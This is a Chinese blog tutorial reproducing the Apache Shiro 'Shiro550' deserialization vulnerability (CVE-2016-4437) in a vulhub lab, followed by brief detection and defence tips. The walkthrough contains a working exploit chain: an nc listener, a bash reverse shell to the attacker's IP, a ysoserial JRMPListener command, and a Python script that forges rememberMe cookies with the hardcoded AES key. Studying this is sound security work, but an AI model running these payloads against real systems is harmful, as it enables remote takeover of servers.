shiro550反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）

漏洞原理

本文所有使用的脚本和工具都会在文末给出链接，希望读者可以耐心看到最后。

啥是shiro?

Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API，可以快速轻松地对应用程序进行保护。

shiro550反序列化原理

cve编号：CVE-2016-4437

在Apache shiro的框架中，执行身份验证时提供了一个记住密码的功能（RememberMe），如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据，这一段数据包含了用户的身份信息，且是经过加密的。加密的过程是：用户信息=>序列化=>AES加密（这一步需要用密钥key）=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后，下次登录时，服务端会根据客户端请求包中的cookie值进行身份验证，无需登录即可访问。那么显然，服务端进行对cookie进行验证的步骤就是：取出请求包中rememberMe的cookie值 => Base64解码=>AES解密（用到密钥key）=>反序列化。

如下图所示，勾选rememberMe后，POST请求包中会有rememberMe字段（在最后,非常抱歉一个图没截全，看下面那个小图的remember-me），而服务端响应包的Set-Cookie中会有rememberMe=deleteMe字段，同时会生成对应的rememberMe字段，如下图，一段很长的密文。

当客户端再次请求服务端时，都会带上这个服务端第一次返回设置的Set-Cookie里面的rememberMe的密文，让服务端进行身份验证。如下图为再次请求时的数据包：

这里出现问题的点就在于AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制，加解密用到是相同的密钥，**这个密钥应该是绝对保密的，但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==**，这样攻击者直接就可以用这个密钥实现上述加密过程，在Cookie字段写入想要服务端执行的恶意代码，最后服务端在对cookie进行解密的时候（反序列化后）就会执行恶意代码。在后续的版本中，这个密钥也可能会被爆破出来，从而被攻击者利用构造payload。

我画个图供读者们理解一下吧：

靶场搭建

这里用vulhub搭建靶场，进入对应的目录.../vulhub/shiro/CVE-2016-4437

我是用虚拟机Ubuntu搭建的（ip为192.168.200.129），启动docker命令：

docker-compose up -d

然后查看一下端口

docker ps

然后浏览器访问192.168.200.129:8080（虚拟机ip:刚才查看的端口），页面如下：

这样靶场就搭建好了。

漏洞复现

攻击机：kali 192.168.200.131

靶机：Ubuntu 192.168.200.129

（无所谓是不是kali或者Ubuntu，反正靶场用docker搭建，然后有个linux的攻击机就行了）

漏洞验证

进行漏洞复现之前，应该先验证漏洞是否存在。那么首先应该判断一个页面的登录是否使用了shiro框架进行身份验证、授权、密码和会话管理。判断方法在于：勾选记住密码选项后，点击登录，抓包，观察请求包中是否有rememberme字段，响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样：

之前我看CSDN上其他文章，以及b站上许多shiro550的漏洞复现视频都说，只要响应包中出现rememberMe=deleteMe字段就说明存在漏洞。我感觉这样说有失偏颇，如果出现rememberMe=deleteMe字段应该是仅仅能说明登录页面采用了shiro进行了身份验证而已，并非直接就说明存在漏洞。下面这篇博客写的也比较细，其漏洞验证流程也类似判断请求和响应包的字段，如下图：

详细shiro漏洞复现及利用方法（CVE-2016-4437）_糊涂是福yyyy的博客-CSDN博客

上图是这篇博客所言的漏洞验证的流程，如果出现shiro550漏洞，确实会出现上图所说的这些现象。但我感觉，这个作者说的流程貌似也只是shiro框架的验证过程（个人愚见，欢迎评论区讨论）。对于shiro550，其漏洞的核心成因是cookie中的身份信息进行了AES加解密，用于加解密的密钥应该是绝对保密的，但在shiro版本<=1.2.24的版本中使用了固定的密钥。因此，验证漏洞的核心应该还是在于我们（攻击者）可否获得这个AES加密的密钥，如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥，那么shiro550漏洞才一定存在。

我们可以用类似于shiro_attack-2.2.jar这种图形化工具看看可否爆破出来密钥，启动的方法是，在shiro_attack-2.2.jar所在目录运行：（工具的下载地址在文末我会给出链接）

java -jar shiro_attack-2.2.jar

在图形化界面的目标地址中输入待检测的url，点击“检测当前密钥”、“爆破密钥”，如果下方的文本框显示了对应的密钥，则说明漏洞存在。

或者也可以使用脚本进行检测和爆破，我这里使用的是一个python2的脚本shiro_exploit.py（脚本和本文所使用的工具会在文末给出），命令如下（url替换为待检测的站点）：

python2 shiro_exploit.py -u http://192.168.200.129:8080

插叙一下，如果报错咋办 ？

如果运行该脚本时报错No module named 'Crypto'，则运行如下命令：

pip uninstall crypto pycryptodome
pip install pycryptodome

如果默认安装到了python3的目录下，把他们copy到python2的目录即可。Python2安装目录下的\Lib\dist-packages，将crypto文件夹的名字改成Crypto，如下图。

** 插叙结束**

如果能成功运行shiro_exploit.py脚本，将自动检测shiro框架并对密钥进行爆破，如下图：

爆破过程可能需要几分钟时间，耐心等待一会，最后爆破成功的显示如下：

我们成功获得了AES密钥kPH+bIxk5D2deZiIxcaaaA==，说明漏洞存在。

构造cookie获取反弹shell

进行漏洞利用有很多种方法，最简便的方法就是用前述的shiro_attack-2.2.jar这种图形化工具，但是直接用工具感觉有点像一键复现漏洞，我们没有对请求包的cookie值进行payload构造过程，因此我们还是老老实实先试试自己构造payload再使用payload。

step1:开启端口监听

首先我们开启一个端口，用于接收反弹shell，我这里开启6666端口：

nc –lvvp 6666

step2:攻击机搭建VPS服务，存放反弹shell的payload1

反弹shell的命令如下（别忘了把ip改为攻击机的ip）：

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时，需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码，网址为：

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

如下图，我们对反弹shell的命令进行base64编码

编码结果为：

bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

接下来我们利用序列化工具ysoserial.jar（工具下载我会在文末给出）生成payload，命令如下：

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

这段命令中“”中的部分是刚才生成的反弹shell的base64编码。

对这段命令做个简要的解释：这里我们相当于在攻击机上启动了一个VPS服务，监听7777端口，然后在这个服务上放了一个反弹shell的payload，并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.200.131/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时，我们搭建的这个JRMP就会返回这段payload1。

至于为什么是CommonsCollections5 ，这是因为靶场的 shiro 存在 commons-collections 3.2.1 依赖， 是一个版本问题，这里就不细究源代码了。

step3:生成AES加密=>Base64编码后的rememberMe字段

我们企图让存在漏洞的页面去请求我们攻击机的VPS服务，即对192.168.200.131:7777进行请求，因此，我们要用脚本对192.168.200.131:7777进行AES加密=>Base64编码。脚本shiro.py代码如下（注意这是一段python2的代码）：

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

代码中key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")这一行括号内即为AES加密的密钥，如果密钥是其他的，在这里就填写其他的密钥。脚本运行的命令如下（读者应当更改为攻击机ip:JRMP监听的端口号），注意shiro.py的位置应当保证和ysoserial.jar在同一目录下：

python2 shiro.py 192.168.200.131:7777

这样我们就生成了请求包中rememberMe的payload2：

结果为：

rememberMe=SHaFTQdoQyyp/6aF8nm+S+n0p137QVPK6totrz/HmyvQAO+ZOKVLg7e3l1BpDjneRCi3pvZH+Crshq66w+o/xKMvLoVxRootFbrV6ovdAsvo/xAvXOYj71KNPqWP4J4tYNydIiPU1Gqd4saPTbJ1eiBW42tSY4NhiEu+/uCaGok+Lsyv/UB9zPCtJKGJCbDp8eHB9rk/RzQUV2QVdU2bsNjZM7dOTtoL/90yx3LcNfqrkzLWNW+X2jH4GwVPsKkPslQkzS8E/t4b8kMLYjTpFWmxmnyCzbX/4j8ok7JIxpqbQ92TSQgUzm+xcXluldpWo6e3EVnB+wUPNkrREad+YdCAFPpkSpSsuuRZjg/MQ/Kw7NiuTjNtwKMBmf5jalZ9HwbsiY5LfSdRfsLQ4MEwzg==

step4:更改请求包中cookie的rememberMe字段

我们要在这个数据包的Cookie字段后添加rememberMe字段，添加后的截图如下：

然后点击发送go，返回如下，可以看到响应包中的rememberMe=deleteMe字段：

这样应该就应该漏洞利用成功了，我们看一下刚才JRMP监听的端口，可以看到这个服务与靶机（192.168.200.129）进行了连接通信：

再看一下攻击机监听的6666端口，成功获取了反弹shell。

这样就成功了，此时已经可以执行任意命令了。

至此，漏洞复现成功，那么我们再理一下思路，总结一下靶机是如何沦陷的。

攻击过程复盘

对于攻击者而言，核心就是干了两件事：

1.搭建VPS进行JRMPListener，存放反弹shell的payload1

2.将上述VPS进行JRMPListener的地址进行了AES加密和base64编码，构造请求包cookie中的rememberMe字段，向存在漏洞的服务器发送加密编码后的结果payload2。

那么对于靶机服务器，他是怎么沦陷的呢？

1.接收到请求包payload2，对他进行base64解码=>AES解密，发现要和一个VPS的JRMP 7777端口进行通信。

2.向恶意站点VPS的JRMP 7777进行请求，接收到了到了序列化后的恶意代码（反弹shell到攻击机的6666端口）payload1。

3.对payload1执行了反序列化，执行了反弹shell的恶意命令，就此沦陷。

那么我们下一步用工具进行复现一下

使用shiro利用工具进行漏洞利用

使用工具shiro_attack-2.2.jar（会在文末给出下载链接），在shiro_attack-2.2.jar目录启动命令：

java -jar shiro_attack-2.2.jar

然后输入需要检测的站点，即靶场地址，本文为192.168.200.129:8080，点击“检测当前密钥”=>“爆破密钥”

可以看到检测日志模块，出现了“存在shiro框架”，并成功爆出了密钥kPH+bIxk5D2deZiIxcaaaA== ，然后我们点击“检测当前利用链”、“爆破利用链及回显”，就可以看到检测日志模块，出现了“发现构造链:xxxx 回显方式：xxx”，并提示我们请尝试功能区利用：

接下来点击“命令执行”，输入想执行的命令，就可以直接执行命令了。这里输入了whoami，回显为root，又输入了ls -l 成功看到了所有的文件及其权限等等。

这样就直接利用成功了，当然也可以直接上传内存马啥的，就不演示了。

结语

先自问自答两个问题：

如何判断我的服务器是否受到了针对shiro550漏洞的攻击？

1. 检查日志：查看系统的日志文件，看是否有异常的访问记录或登录失败记录，如果发现了异常，可以进一步分析该记录是否与Shiro550漏洞有关。
2. 检查系统状态：检查系统是否存在异常状态，如系统崩溃、服务宕机等，这可能是攻击者利用Shiro550漏洞进行攻击导致的。
3. 检查用户行为：检查是否有用户在短时间内多次尝试登录或者进行异常操作，这可能是攻击者正在利用Shiro550漏洞尝试获取系统权限。
4. 检查网络流量：使用网络安全监控工具，查看是否有大量流量从某个IP地址发送到系统中，并且该IP地址是未知的或者存在异常行为，这可能是攻击者正在利用Shiro550漏洞进行攻击。

如何进行防御？

1. 及时升级shiro版本，不再使用固定的密钥加密。
2. 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

写在最后：

这篇漏洞复现写的时间很长，复现过程也出现了很多问题。看b站上许多视频，都是直接找个工具一键复现（这里用飞鸿的那个工具居多），然后也不给出工具的链接，没太多参考价值。然后我去github下载shiro550的漏洞利用工具，太坑了，许多都没法用！！！经常是meavn打包出错，最后改了pom.xml，成功生成.jar之后又运行不了，我也不知道咋回事。这里飞鸿的工具链接如下，也很坑！

feihong-cs/ShiroExploit-Deprecated: Shiro550/Shiro721 一键化利用工具，支持多种回显方式 (github.com)

但是这个工具我一直mvn失败，成功之后又启动不了.jar文件，搜了很多都没成功，希望有成功使用这个工具的小伙伴可以评论区告诉我咋用，或者给个.jar的链接也行。

同时我在跑脚本的时候，由于许多python2的不兼容问题，又出了很多错，主要还是来源于from Crypto.Cipher import AES 中找不到Crypto的问题，这个我在前文也给出了解决方法，读者试了如果还是不行可以评论区联系我。

接下来我把本文中真实使用的.jar文件，以及python脚本给出如下：

链接：https://pan.baidu.com/s/1C408FR_n1t-XbIlbPLNczw?pwd=pso6
提取码：pso6

由于我是个刚刚开始入门网安的小白，也不太懂java的代码，没办法从代码层面给大家做详细的讲解了。不够我还在b站上看到了一个大佬的视频，他对于shiro550反序列化漏洞从源码层面进行了分析，讲得非常好，这里也进行一下推荐。感兴趣的读者可以看一看，这里给出链接：

Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

这是我的第三篇CSDN博客，希望以后能坚持多写写网络安全相关的文章，还望读者们多多关注，多多支持。如果有什么问题，欢迎评论区讨论。